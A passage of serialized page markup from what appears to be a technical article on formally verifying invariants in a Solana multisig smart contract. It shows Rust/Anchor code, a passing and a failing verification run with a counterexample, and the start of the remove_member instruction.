Vec\u003CPubkey>,            // keys of the members\n}\n",[143173],{"type":26,"tag":83,"props":143174,"children":143175},{"__ignoreMap":8},[143176,143183,143207,143214,143238,143289,143296,143315,143342,143369,143396,143423,143450,143477,143504,143539],{"type":26,"tag":217,"props":143177,"children":143178},{"class":7028,"line":7029},[143179],{"type":26,"tag":217,"props":143180,"children":143181},{"style":7048},[143182],{"type":32,"value":139319},{"type":26,"tag":217,"props":143184,"children":143185},{"class":7028,"line":6770},[143186,143190,143195,143199,143203],{"type":26,"tag":217,"props":143187,"children":143188},{"style":7048},[143189],{"type":32,"value":90733},{"type":26,"tag":217,"props":143191,"children":143192},{"style":7119},[143193],{"type":32,"value":143194},"Clone",{"type":26,"tag":217,"props":143196,"children":143197},{"style":7048},[143198],{"type":32,"value":7599},{"type":26,"tag":217,"props":143200,"children":143201},{"style":7119},[143202],{"type":32,"value":85696},{"type":26,"tag":217,"props":143204,"children":143205},{"style":7048},[143206],{"type":32,"value":90743},{"type":26,"tag":217,"props":143208,"children":143209},{"class":7028,"line":6779},[143210],{"type":26,"tag":217,"props":143211,"children":143212},{"style":7048},[143213],{"type":32,"value":139327},{"type":26,"tag":217,"props":143215,"children":143216},{"class":7028,"line":7140},[143217,143222,143226,143230,143234],{"type":26,"tag":217,"props":143218,"children":143219},{"style":7048},[143220],{"type":32,"value":143221},"    (self",{"type":26,"tag":217,"props":143223,"children":143224},{"style":7149},[143225],{"type":32,"value":180},{"type":26,"tag":217,"props":143227,"children":143228},{"style":7048},[143229],{"type":32,"value":139615},{"type":26,"tag":217,"props":143231,"children":143232},{"style":7149},[143233],{"type":32,"value":70795},{"type":26,"tag":217,"props":143235,"children":143236},{"style":7048},[143237],{"type":32,"value":139624},{"type":26,"tag":217,"props":143239,"children":143240},{"class":7028,"line":7165},[143241,143245,143249,143253,143257,143261,143265,143269,143273,143277,143281,143285],{"type":26,"tag":217,"props":143242,"children":143243},{"style":7149},[143244],{"type":32,"value":93735},{"type":26,"tag":217,"props":143246,"children":143247},{"style":7048},[143248],{"type":32,"value":139548},{"type":26,"tag":217,"props":143250,"children":143251},{"style":7149},[143252],{"type":32,"value":180},{"type":26,"tag":217,"props":143254,"children":143255},{"style":7048},[143256],{"type":32,"value":139615},{"type":26,"tag":217,"props":143258,"children":143259},{"style":7154},[143260],{"type":32,"value":91735},{"type":26,"tag":217,"props":143262,"children":143263},{"style":7119},[143264],{"type":32,"value":94410},{"type":26,"tag":217,"props":143266,"children":143267},{"style":7149},[143268],{"type":32,"value":92297},{"type":26,"tag":217,"props":143270,"children":143271},{"style":7048},[143272],{"type":32,"value":92589},{"type":26,"tag":217,"props":143274,"children":143275},{"style":7149},[143276],{"type":32,"value":180},{"type":26,"tag":217,"props":143278,"children":143279},{"style":7048},[143280],{"type":32,"value":78574},{"type":26,"tag":217,"props":143282,"children":143283},{"style":7149},[143284],{"type":32,"value":180},{"type":26,"tag":217,"props":143286,"children":143287},{"style":7048},[143288],{"type":32,"value":139676},{"type":26,"tag":217,"props":143290,"children":143291},{"class":7028,"line":7178},[143292],{"type":26,"tag":217,"props":143293,"children":143294},{"style":7048},[143295],{"type":32,"value":90743},{"type":26,"tag":217,"props":143297,"children":143298},{"class":7028,"line":7389},[143299,143303,143307,143311],{"type":26,"tag":217,"props":143300,"children":143301},{"style":7154},[143302],{"type":32,"value":56830},{"type":26,"tag":217,"props":143304,"children":143305},{"style":7154},[143306],{"type":32,"value":77038},{"type":26,"tag":217,"props":143308,"children":143309},{"style":7119},[143310],{"type":32,"value":139699},{"type":26,"tag":217,"props":143312,"children":143313},{"style":7048},[143314],{"type":32,"value":8064},{"type":26,"tag":217,"props":143316,"children":143317},{"class":7028,"line":7406},[143318,143322,143326,143330,143334,143338],{"type":26,"tag":217,"props":143319,"children":143320},{"style":7154},[143321],{"type":32,"value":90798},{"type":26,"tag":217,"props":143323,"children":143324},{"style":7054},[143325],{"type":32,"value":139715},{"type":26,"tag":217,"props":143327,"children":143328},{"style":7149},[143329],{"type":32,"value":1473},{"type":26,"tag":217,"props":143331,"children":143332},{"style":7119},[143333],{"type":32,"value":139574},{"type":26,"tag":217,"props":143335,"children":143336},{"style":7048},[143337],{"type":32,"value":139728},{"type":26,"tag":217,"props":143339,"children":143340},{"style":7033},[143341],{"type":32,"value":139733},{"type":26,"tag":217,"props":143343,"children":143344},{"class":7028,"line":7439},[143345,143349,143353,143357,143361,143365],{"type":26,"tag":217,"props":143346,"children":143347},{"style":7154},[143348],{"type":32,"value":90798},{"type":26,"tag":217,"props":143350,"children":143351},{"style":7054},[143352],{"type":32,"value":139745},{"type":26,"tag":217,"props":143354,"children":143355},{"style":7149},[143356],{"type":32,"value":1473},{"type":26,"tag":217,"props":143358,"children":143359},{"style":7119},[143360],{"type":32,"value":139574},{"type":26,"tag":217,"props":143362,"children":143363},{"style":7048},[143364],{"type":32,"value":139758},{"type":26,"tag":217,"props":143366,"children":143367},{"style":7033},[143368],{"type":32,"value":139763},{"type":26,"tag":217,"props":143370,"children":143371},{"class":7028,"line":7487},[143372,143376,143380,143384,143388,143392],{"type":26,"tag":217,"props":143373,"children":143374},{"style":7154},[143375],{"type":32,"value":90798},{"type":26,"tag":217,"props":143377,"children":143378},{"style":7054},[143379],{"type":32,"value":139775},{"type":26,"tag":217,"props":143381,"children":143382},{"style":7149},[143383],{"type":32,"value":1473},{"type":26,"tag":217,"props":143385,"children":143386},{"style":7119},[143387],{"type":32,"value":139784},{"type":26,"tag":217,"props":143389,"children":143390},{"style":7048},[143391],{"type":32,"value":139789},{"type":26,"tag":217,"props":143393,"children":143394},{"style":7033},[143395],{"type":32,"value":139794},{"type":26,"tag":217,"props":143397,"children":143398},{"class":7028,"line":7524},[143399,143403,143407,143411,143415,143419],{"type":26,"tag":217,"props":143400,"children":143401},{"style":7154},[143402],{"type":32,"value":90798},{"type":26,"tag":217,"props":143404,"children":143405},{"style":7054},[143406],{"type":32,"value":139806},{"type":26,"tag":217,"props":143408,"children":143409},{"style":7149},[143410],{"type":32,"value":1473},{"type":26,"tag":217,"props":143412,"children":143413},{"style":7119},[143414],{"type":32,"value":139784},{"type":26,"tag":217,"props":143416,"children":143417},{"style":7048},[143418],{"type":32,"value":139758},{"type":26,"tag":217,"props":143420,"children":143421},{"style":7033},[143422],{"type":32,"value":139823},{"type":26,"tag":217,"props":143424,"children":143425},{"class":7028,"line":7553},[143426,143430,143434,143438,143442,143446],{"type":26,"tag":217,"props":143427,"children":143428},{"style":7154},[143429],{"type":32,"value":90798},{"type":26,"tag":217,"props":143431,"children":143432},{"style":7054},[143433],{"type":32,"value":139835},{"type":26,"tag":217,"props":143435,"children":143436},{"style":7149},[143437],{"type":32,"value":1473},{"type":26,"tag":217,"props":143439,"children":143440},{"style":7119},[143441],{"type":32,"value":125491},{"type":26,"tag":217,"props":143443,"children":143444},{"style":7048},[143445],{"type":32,"value":139848},{"type":26,"tag":217,"props":143447,"children":143448},{"style":7033},[143449],{"type":32,"value":139853},{"type":26,"tag":217,"props":143451,"children":143452},{"class":7028,"line":7570},[143453,143457,143461,143465,143469,143473],{"type":26,"tag":217,"props":143454,"children":143455},{"style":7154},[143456],{"type":32,"value":90798},{"type":26,"tag":217,"props":143458,"children":143459},{"style":7054},[143460],{"type":32,"value":139865},{"type":26,"tag":217,"props":143462,"children":143463},{"style":7149},[143464],{"type":32,"value":1473},{"type":26,"tag":217,"props":143466,"children":143467},{"style":7119},[143468],{"type":32,"value":93283},{"type":26,"tag":217,"props":143470,"children":143471},{"style":7048},[143472],{"type":32,"value":139878},{"type":26,"tag":217,"props":143474,"children":143475},{"style":7033},[143476],{"type":32,"value":139883},{"type":26,"tag":217,"props":143478,"children":143479},{"class":7028,"line":7621},[143480,143484,143488,143492,143496,143500],{"type":26,"tag":217,"props":143481,"children":143482},{"style":7154},[143483],{"type":32,"value":90798},{"type":26,"tag":217,"props":143485,"children":143486},{"style":7054},[143487],{"type":32,"value":139895},{"type":26,"tag":217,"props":143489,"children":143490},{"style":7149},[143491],{"type":32,"value":1473},{"type":26,"tag":217,"props":143493,"children":143494},{"style":7119},[143495],{"type":32,"value":79568},{"type":26,"tag":217,"props":143497,"children":143498},{"style":7048},[143499],{"type":32,"value":7599},{"type":26,"tag":217,"props":143501,"children":143502},{"style":7033},[143503],{"type":32,"value":139912},{"type":26,"tag":217,"props":143505,"children":143506},{"class":7028,"line":7672},[143507,143511,143515,143519,143523,143527,143531,143535],{"type":26,"tag":217,"props":143508,"children":143509},{"style":7154},[143510],{"type":32,"value":90798},{"type":26,"tag":217,"props":143512,"children":143513},{"style":7054},[143514],{"type":32,"value":78513},{"type":26,"tag":217,"props":143516,"children":143517},{"style":7149},[143518],{"type":32,"value":1473},{"type":26,"tag":217,"props":143520,"children":143521},{"style":7119},[143522],{"type":32,"value":139932},{"type":26,"tag":217,"props":143524,"children":143525},{"style":7048},[143526],{"type":32,"value":7289},{"type":26,"tag":217,"props":143528,"children":143529},{"style":7119},[143530],{"type":32,"value":93369},{"type":26,"tag":217,"props":143532,"children":143533},{"style":7048},[143534],{"type":32,"value":139945},{"type":26,"tag":217,"props":143536,"children":143537},{"style":7033},[143538],{"type":32,"value":139950},{"type":26,"tag":217,"props":143540,"children":143541},{"class":7028,"line":7681},[143542],{"type":26,"tag":217,"props":143543,"children":143544},{"style":7048},[143545],{"type":32,"value":7184},{"type":26,"tag":39,"props":143547,"children":143548},{},[143549,143551,143556],{"type":32,"value":143550},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":26,"tag":83,"props":143552,"children":143554},{"className":143553},[],[143555],{"type":32,"value":141256},{"type":32,"value":143557}," object will be checked to ensure that the invariant still holds after modification.",{"type":26,"tag":39,"props":143559,"children":143560},{},[143561,143563,143568],{"type":32,"value":143562},"Let's try this on the ",{"type":26,"tag":83,"props":143564,"children":143566},{"className":143565},[],[143567],{"type":32,"value":141335},{"type":32,"value":143569}," instruction that we've already seen:",{"type":26,"tag":207,"props":143571,"children":143573},{"code":143572},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[143574],{"type":26,"tag":83,"props":143575,"children":143576},{"__ignoreMap":8},[143577],{"type":32,"value":143572},{"type":26,"tag":39,"props":143579,"children":143580},{},[143581,143583,143588],{"type":32,"value":143582},"To ensure this is working, we can test by commenting out this check from ",{"type":26,"tag":83,"props":143584,"children":143586},{"className":143585},[],[143587],{"type":32,"value":141335},{"type":32,"value":1473},{"type":26,"tag":207,"props":143590,"children":143592},{"code":143591,"language":56139,"meta":8,"className":56140,"style":8},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[143593],{"type":26,"tag":83,"props":143594,"children":143595},{"__ignoreMap":8},[143596,143604,143612],{"type":26,"tag":217,"props":143597,"children":143598},{"class":7028,"line":7029},[143599],{"type":26,"tag":217,"props":143600,"children":143601},{"style":7033},[143602],{"type":32,"value":143603},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":26,"tag":217,"props":143605,"children":143606},{"class":7028,"line":6770},[143607],{"type":26,"tag":217,"props":143608,"children":143609},{"style":7033},[143610],{"type":32,"value":143611},"//     return err!(MsError::InvalidThreshold);\n",{"type":26,"tag":217,"props":143613,"children":143614},{"class":7028,"line":6779},[143615],{"type":26,"tag":217,"props":143616,"children":143617},{"style":7033},[143618],{"type":32,"value":143619},"// }\n",{"type":26,"tag":39,"props":143621,"children":143622},{},[143623],{"type":32,"value":143624},"And run again:",{"type":26,"tag":207,"props":143626,"children":143628},{"code":143627},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[143629],{"type":26,"tag":83,"props":143630,"children":143631},{"__ignoreMap":8},[143632],{"type":32,"value":143627},{"type":26,"tag":39,"props":143634,"children":143635},{},[143636],{"type":32,"value":143637},"We get the following counterexample:",{"type":26,"tag":207,"props":143639,"children":143641},{"code":143640,"language":56139,"meta":8,"className":56140,"style":8},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[143642],{"type":26,"tag":83,"props":143643,"children":143644},{"__ignoreMap":8},[143645,143657,143676,143696,143716,143736,143756,143776,143795,143815,143835,143856,143863,143870,143899],{"type":26,"tag":217,"props":143646,"children":143647},{"class":7028,"line":7029},[143648,143653],{"type":26,"tag":217,"props":143649,"children":143650},{"style":7119},[143651],{"type":32,"value":143652},"Account",{"type":26,"tag":217,"props":143654,"children":143655},{"style":7048},[143656],{"type":32,"value":8064},{"type":26,"tag":217,"props":143658,"children":143659},{"class":7028,"line":6770},[143660,143664,143668,143672],{"type":26,"tag":217,"props":143661,"children":143662},{"style":7054},[143663],{"type":32,"value":93601},{"type":26,"tag":217,"props":143665,"children":143666},{"style":7149},[143667],{"type":32,"value":1473},{"type":26,"tag":217,"props":143669,"children":143670},{"style":7119},[143671],{"type":32,"value":139699},{"type":26,"tag":217,"props":143673,"children":143674},{"style":7048},[143675],{"type":32,"value":8064},{"type":26,"tag":217,"props":143677,"children":143678},{"class":7028,"line":6779},[143679,143683,143687,143692],{"type":26,"tag":217,"props":143680,"children":143681},{"style":7054},[143682],{"type":32,"value":142327},{"type":26,"tag":217,"props":143684,"children":143685},{"style":7149},[143686],{"type":32,"value":1473},{"type":26,"tag":217,"props":143688,"children":143689},{"style":7130},[143690],{"type":32,"value":143691}," 32768",{"type":26,"tag":217,"props":143693,"children":143694},{"style":7048},[143695],{"type":32,"value":10953},{"type":26,"tag":217,"props":143697,"children":143698},{"class":7028,"line":7140},[143699,143704,143708,143712],{"type":26,"tag":217,"props":143700,"children":143701},{"style":7054},[143702],{"type":32,"value":143703},"        authority_index",{"type":26,"tag":217,"props":143705,"children":143706},{"style":7149},[143707],{"type":32,"value":1473},{"type":26,"tag":217,"props":143709,"children":143710},{"style":7130},[143711],{"type":32,"value":9742},{"type":26,"tag":217,"props":143713,"children":143714},{"style":7048},[143715],{"type":32,"value":10953},{"type":26,"tag":217,"props":143717,"children":143718},{"class":7028,"line":7165},[143719,143724,143728,143732],{"type":26,"tag":217,"props":143720,"children":143721},{"style":7054},[143722],{"type":32,"value":143723},"        transaction_index",{"type":26,"tag":217,"props":143725,"children":143726},{"style":7149},[143727],{"type":32,"value":1473},{"type":26,"tag":217,"props":143729,"children":143730},{"style":7130},[143731],{"type":32,"value":9922},{"type":26,"tag":217,"props":143733,"children":143734},{"style":7048},[143735],{"type":32,"value":10953},{"type":26,"tag":217,"props":143737,"children":143738},{"class":7028,"line":7178},[143739,143744,143748,143752],{"type":26,"tag":217,"props":143740,"children":143741},{"style":7054},[143742],{"type":32,"value":143743},"        ms_change_index",{"type":26,"tag":217,"props":143745,"children":143746},{"style":7149},[143747],{"type":32,"value":1473},{"type":26,"tag":217,"props":143749,"children":143750},{"style":7130},[143751],{"type":32,"value":9922},{"type":26,"tag":217,"props":143753,"children":143754},{"style":7048},[143755],{"type":32,"value":10953},{"type":26,"tag":217,"props":143757,"children":143758},{"class":7028,"line":7389},[143759,143764,143768,143772],{"type":26,"tag":217,"props":143760,"children":143761},{"style":7054},[143762],{"type":32,"value":143763},"        bump",{"type":26,"tag":217,"props":143765,"children":143766},{"style":7149},[143767],{"type":32,"value":1473},{"type":26,"tag":217,"props":143769,"children":143770},{"style":7130},[143771],{"type":32,"value":9922},{"type":26,"tag":217,"props":143773,"children":143774},{"style":7048},[143775],{"type":32,"value":10953},{"type":26,"tag":217,"props":143777,"children":143778},{"class":7028,"line":7406},[143779,143783,143787,143791],{"type":26,"tag":217,"props":143780,"children":143781},{"style":7054},[143782],{"type":32,"value":142339},{"type":26,"tag":217,"props":143784,"children":143785},{"style":7149},[143786],{"type":32,"value":1473},{"type":26,"tag":217,"props":143788,"children":143789},{"style":7149},[143790],{"type":32,"value":90342},{"type":26,"tag":217,"props":143792,"children":143793},{"style":7048},[143794],{"type":32,"value":10953},{"type":26,"tag":217,"props":143796,"children":143797},{"class":7028,"line":7439},[143798,143803,143807,143811],{"type":26,"tag":217,"props":143799,"children":143800},{"style":7054},[143801],{"type":32,"value":143802},"        allow_external_execute",{"type":26,"tag":217,"props":143804,"children":143805},{"style":7149},[143806],{"type":32,"value":1473},{"type":26,"tag":217,"props":143808,"children":143809},{"style":7154},[143810],{"type":32,"value":7795},{"type":26,"tag":217,"props":143812,"children":143813},{"style":7048},[143814],{"type":32,"value":10953},{"type":26,"tag":217,"props":143816,"children":143817},{"class":7028,"line":7487},[143818,143822,143826,143831],{"type":26,"tag":217,"props":143819,"children":143820},{"style":7054},[143821],{"type":32,"value":78556},{"type":26,"tag":217,"props":143823,"children":143824},{"style":7149},[143825],{"type":32,"value":1473},{"type":26,"tag":217,"props":143827,"children":143828},{"style":7119},[143829],{"type":32,"value":143830}," SparseVec",{"type":26,"tag":217,"props":143832,"children":143833},{"style":7048},[143834],{"type":32,"value":8064},{"type":26,"tag":217,"props":143836,"children":143837},{"class":7028,"line":7524},[143838,143843,143847,143852],{"type":26,"tag":217,"props":143839,"children":143840},{"style":7054},[143841],{"type":32,"value":143842},"            size",{"type":26,"tag":217,"props":143844,"children":143845},{"style":7149},[143846],{"type":32,"value":1473},{"type":26,"tag":217,"props":143848,"children":143849},{"style":7130},[143850],{"type":32,"value":143851}," 5112",{"type":26,"tag":217,"props":143853,"children":143854},{"style":7048},[143855],{"type":32,"value":10953},{"type":26,"tag":217,"props":143857,"children":143858},{"class":7028,"line":7553},[143859],{"type":26,"tag":217,"props":143860,"children":143861},{"style":7048},[143862],{"type":32,"value":98350},{"type":26,"tag":217,"props":143864,"children":143865},{"class":7028,"line":7570},[143866],{"type":26,"tag":217,"props":143867,"children":143868},{"style":7048},[143869],{"type":32,"value":68742},{"type":26,"tag":217,"props":143871,"children":143872},{"class":7028,"line":7621},[143873,143878,143882,143886,143890,143894],{"type":26,"tag":217,"props":143874,"children":143875},{"style":7054},[143876],{"type":32,"value":143877},"    info",{"type":26,"tag":217,"props":143879,"children":143880},{"style":7149},[143881],{"type":32,"value":1473},{"type":26,"tag":217,"props":143883,"children":143884},{"style":7119},[143885],{"type":32,"value":90919},{"type":26,"tag":217,"props":143887,"children":143888},{"style":7048},[143889],{"type":32,"value":65337},{"type":26,"tag":217,"props":143891,"children":143892},{"style":7149},[143893],{"type":32,"value":13251},{"type":26,"tag":217,"props":143895,"children":143896},{"style":7048},[143897],{"type":32,"value":143898}," },\n",{"type":26,"tag":217,"props":143900,"children":143901},{"class":7028,"line":7672},[143902],{"type":26,"tag":217,"props":143903,"children":143904},{"style":7048},[143905],{"type":32,"value":7184},{"type":26,"tag":39,"props":143907,"children":143908},{},[143909,143911,143916,143918,143923],{"type":32,"value":143910},"Here we see that the ",{"type":26,"tag":83,"props":143912,"children":143914},{"className":143913},[],[143915],{"type":32,"value":141264},{"type":32,"value":143917}," of the newly created ",{"type":26,"tag":83,"props":143919,"children":143921},{"className":143920},[],[143922],{"type":32,"value":141256},{"type":32,"value":143924}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":26,"tag":607,"props":143926,"children":143928},{"id":143927},"verify-requirements-to-remove-a-member",[143929],{"type":32,"value":141294},{"type":26,"tag":39,"props":143931,"children":143932},{},[143933,143935,143940,143941,143946,143948,143954],{"type":32,"value":143934},"Now that we've seen both ",{"type":26,"tag":83,"props":143936,"children":143938},{"className":143937},[],[143939],{"type":32,"value":138719},{"type":32,"value":1308},{"type":26,"tag":83,"props":143942,"children":143944},{"className":143943},[],[143945],{"type":32,"value":140298},{"type":32,"value":143947}," let's take a look at the ",{"type":26,"tag":83,"props":143949,"children":143951},{"className":143950},[],[143952],{"type":32,"value":143953},"remove_member",{"type":32,"value":69134},{"type":26,"tag":207,"props":143956,"children":143958},{"code":143957,"language":56139,"meta":8,"className":56140,"style":8},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[143959],{"type":26,"tag":83,"props":143960,"children":143961},{"__ignoreMap":8},[143962,143985,144013,144028,144074,144081,144093,144108,144120,144146,144154,144183,144190,144222,144229,144236,144310,144318,144377,144409,144416,144467,144474,144482,144576,144664,144717,144724,144769,144814],{"type":26,"tag":217,"props":143963,"children":143964},{"class":7028,"line":7029},[143965,143969,143973,143977,143981],{"type":26,"tag":217,"props":143966,"children":143967},{"style":7048},[143968],{"type":32,"value":90733},{"type":26,"tag":217,"props":143970,"children":143971},{"style":7119},[143972],{"type":32,"value":90738},{"type":26,"tag":217,"props":143974,"children":143975},{"style":7048},[143976],{"type":32,"value":7599},{"type":26,"tag":217,"props":143978,"children":143979},{"style":7119},[143980],{"type":32,"value":85696},{"type":26,"tag":217,"props":143982,"children":143983},{"style":7048},[143984],{"type":32,"value":90743},{"type":26,"tag":217,"props":143986,"children":143987},{"class":7028,"line":6770},[143988,143992,143996,144001,144005,144009],{"type":26,"tag":217,"props":143989,"children":143990},{"style":7154},[143991],{"type":32,"value":56830},{"type":26,"tag":217,"props":143993,"children":143994},{"style":7154},[143995],{"type":32,"value":77038},{"type":26,"tag":217,"props":143997,"children":143998},{"style":7119},[143999],{"type":32,"value":144000}," MsAuth",{"type":26,"tag":217,"props":144002,"children":144003},{"style":7048},[144004],{"type":32,"value":90764},{"type":26,"tag":217,"props":144006,"children":144007},{"style":7119},[144008],{"type":32,"value":90769},{"type":26,"tag":217,"props":144010,"children":144011},{"style":7048},[144012],{"type":32,"value":77772},{"type":26,"tag":217,"props":144014,"children":144015},{"class":7028,"line":6779},[144016,144020,144024],{"type":26,"tag":217,"props":144017,"children":144018},{"style":7048},[144019],{"type":32,"value":90781},{"type":26,"tag":217,"props":144021,"children":144022},{"style":7154},[144023],{"type":32,"value":90786},{"type":26,"tag":217,"props":144025,"children":144026},{"style":7048},[144027],{"type":32,"value":90743},{"type":26,"tag":217,"props":144029,"children":144030},{"class":7028,"line":7140},[144031,144036,144040,144045,144049,144053,144057,144061,144065,144069],{"type":26,"tag":217,"props":144032,"children":144033},{"style":7054},[144034],{"type":32,"value":144035},"    multisig",{"type":26,"tag":217,"props":144037,"children":144038},{"style":7149},[144039],{"type":32,"value":1473},{"type":26,"tag":217,"props":144041,"children":144042},{"style":7119},[144043],{"type":32,"value":144044}," Box",{"type":26,"tag":217,"props":144046,"children":144047},{"style":7048},[144048],{"type":32,"value":7289},{"type":26,"tag":217,"props":144050,"children":144051},{"style":7119},[144052],{"type":32,"value":143652},{"type":26,"tag":217,"props":144054,"children":144055},{"style":7048},[144056],{"type":32,"value":90764},{"type":26,"tag":217,"props":144058,"children":144059},{"style":7119},[144060],{"type":32,"value":90769},{"type":26,"tag":217,"props":144062,"children":144063},{"style":7048},[144064],{"type":32,"value":7599},{"type":26,"tag":217,"props":144066,"children":144067},{"style":7119},[144068],{"type":32,"value":141256},{"type":26,"tag":217,"props":144070,"children":144071},{"style":7048},[144072],{"type":32,"value":144073},">>,\n",{"type":26,"tag":217,"props":144075,"children":144076},{"class":7028,"line":7165},[144077],{"type":26,"tag":217,"props":144078,"children":144079},{"style":7048},[144080],{"type":32,"value":141450},{"type":26,"tag":217,"props":144082,"children":144083},{"class":7028,"line":7178},[144084,144089],{"type":26,"tag":217,"props":144085,"children":144086},{"style":7154},[144087],{"type":32,"value":144088},"        mut",{"type":26,"tag":217,"props":144090,"children":144091},{"style":7048},[144092],{"type":32,"value":10953},{"type":26,"tag":217,"props":144094,"children":144095},{"class":7028,"line":7389},[144096,144100,144104],{"type":26,"tag":217,"props":144097,"children":144098},{"style":7048},[144099],{"type":32,"value":141534},{"type":26,"tag":217,"props":144101,"children":144102},{"style":7149},[144103],{"type":32,"value":267},{"type":26,"tag":217,"props":144105,"children":144106},{"style":7048},[144107],{"type":32,"value":98224},{"type":26,"tag":217,"props":144109,"children":144110},{"class":7028,"line":7406},[144111,144116],{"type":26,"tag":217,"props":144112,"children":144113},{"style":7338},[144114],{"type":32,"value":144115},"            b\"squad\"",{"type":26,"tag":217,"props":144117,"children":144118},{"style":7048},[144119],{"type":32,"value":10953},{"type":26,"tag":217,"props":144121,"children":144122},{"class":7028,"line":7439},[144123,144128,144132,144137,144141],{"type":26,"tag":217,"props":144124,"children":144125},{"style":7048},[144126],{"type":32,"value":144127},"            multisig",{"type":26,"tag":217,"props":144129,"children":144130},{"style":7149},[144131],{"type":32,"value":180},{"type":26,"tag":217,"props":144133,"children":144134},{"style":7048},[144135],{"type":32,"value":144136},"create_key",{"type":26,"tag":217,"props":144138,"children":144139},{"style":7149},[144140],{"type":32,"value":180},{"type":26,"tag":217,"props":144142,"children":144143},{"style":7048},[144144],{"type":32,"value":144145},"as_ref(),\n",{"type":26,"tag":217,"props":144147,"children":144148},{"class":7028,"line":7487},[144149],{"type":26,"tag":217,"props":144150,"children":144151},{"style":7338},[144152],{"type":32,"value":144153},"            b\"multisig\"\n",{"type":26,"tag":217,"props":144155,"children":144156},{"class":7028,"line":7524},[144157,144162,144167,144171,144175,144179],{"type":26,"tag":217,"props":144158,"children":144159},{"style":7048},[144160],{"type":32,"value":144161},"        ], ",{"type":26,"tag":217,"props":144163,"children":144164},{"style":7054},[144165],{"type":32,"value":144166},"bump",{"type":26,"tag":217,"props":144168,"children":144169},{"style":7149},[144170],{"type":32,"value":8993},{"type":26,"tag":217,"props":144172,"children":144173},{"style":7054},[144174],{"type":32,"value":141594},{"type":26,"tag":217,"props":144176,"children":144177},{"style":7149},[144178],{"type":32,"value":180},{"type":26,"tag":217,"props":144180,"children":144181},{"style":7048},[144182],{"type":32,"value":141574},{"type":26,"tag":217,"props":144184,"children":144185},{"class":7028,"line":7553},[144186],{"type":26,"tag":217,"props":144187,"children":144188},{"style":7048},[144189],{"type":32,"value":141582},{"type":26,"tag":217,"props":144191,"children":144192},{"class":7028,"line":7570},[144193,144197,144202,144206,144210,144214,144218],{"type":26,"tag":217,"props":144194,"children":144195},{"style":7154},[144196],{"type":32,"value":90798},{"type":26,"tag":217,"props":144198,"children":144199},{"style":7054},[144200],{"type":32,"value":144201}," multisig_auth",{"type":26,"tag":217,"props":144203,"children":144204},{"style":7149},[144205],{"type":32,"value":1473},{"type":26,"tag":217,"props":144207,"children":144208},{"style":7119},[144209],{"type":32,"value":91036},{"type":26,"tag":217,"props":144211,"children":144212},{"style":7048},[144213],{"type":32,"value":90764},{"type":26,"tag":217,"props":144215,"children":144216},{"style":7119},[144217],{"type":32,"value":90769},{"type":26,"tag":217,"props":144219,"children":144220},{"style":7048},[144221],{"type":32,"value":77713},{"type":26,"tag":217,"props":144223,"children":144224},{"class":7028,"line":7621},[144225],{"type":26,"tag":217,"props":144226,"children":144227},{"style":7048},[144228],{"type":32,"value":7184},{"type":26,"tag":217,"props":144230,"children":144231},{"class":7028,"line":7672},[144232],{"type":26,"tag":217,"props":144233,"children":144234},{"emptyLinePlaceholder":17},[144235],{"type":32,"value":7817},{"type":26,"tag":217,"props":144237,"children":144238},{"class":7028,"line":7681},[144239,144243,144247,144252,144256,144260,144264,144268,144272,144277,144281,144286,144290,144294,144298,144302,144306],{"type":26,"tag":217,"props":144240,"children":144241},{"style":7154},[144242],{"type":32,"value":56830},{"type":26,"tag":217,"props":144244,"children":144245},{"style":7154},[144246],{"type":32,"value":56835},{"type":26,"tag":217,"props":144248,"children":144249},{"style":7064},[144250],{"type":32,"value":144251}," remove_member",{"type":26,"tag":217,"props":144253,"children":144254},{"style":7048},[144255],{"type":32,"value":1851},{"type":26,"tag":217,"props":144257,"children":144258},{"style":7054},[144259],{"type":32,"value":79895},{"type":26,"tag":217,"props":144261,"children":144262},{"style":7149},[144263],{"type":32,"value":1473},{"type":26,"tag":217,"props":144265,"children":144266},{"style":7119},[144267],{"type":32,"value":91119},{"type":26,"tag":217,"props":144269,"children":144270},{"style":7048},[144271],{"type":32,"value":7289},{"type":26,"tag":217,"props":144273,"children":144274},{"style":7119},[144275],{"type":32,"value":144276},"MsAuth",{"type":26,"tag":217,"props":144278,"children":144279},{"style":7048},[144280],{"type":32,"value":56967},{"type":26,"tag":217,"props":144282,"children":144283},{"style":7054},[144284],{"type":32,"value":144285},"old_member",{"type":26,"tag":217,"props":144287,"children":144288},{"style":7149},[144289],{"type":32,"value":1473},{"type":26,"tag":217,"props":144291,"children":144292},{"style":7119},[144293],{"type":32,"value":93283},{"type":26,"tag":217,"props":144295,"children":144296},{"style":7048},[144297],{"type":32,"value":8380},{"type":26,"tag":217,"props":144299,"children":144300},{"style":7149},[144301],{"type":32,"value":10115},{"type":26,"tag":217,"props":144303,"children":144304},{"style":7119},[144305],{"type":32,"value":56945},{"type":26,"tag":217,"props":144307,"children":144308},{"style":7048},[14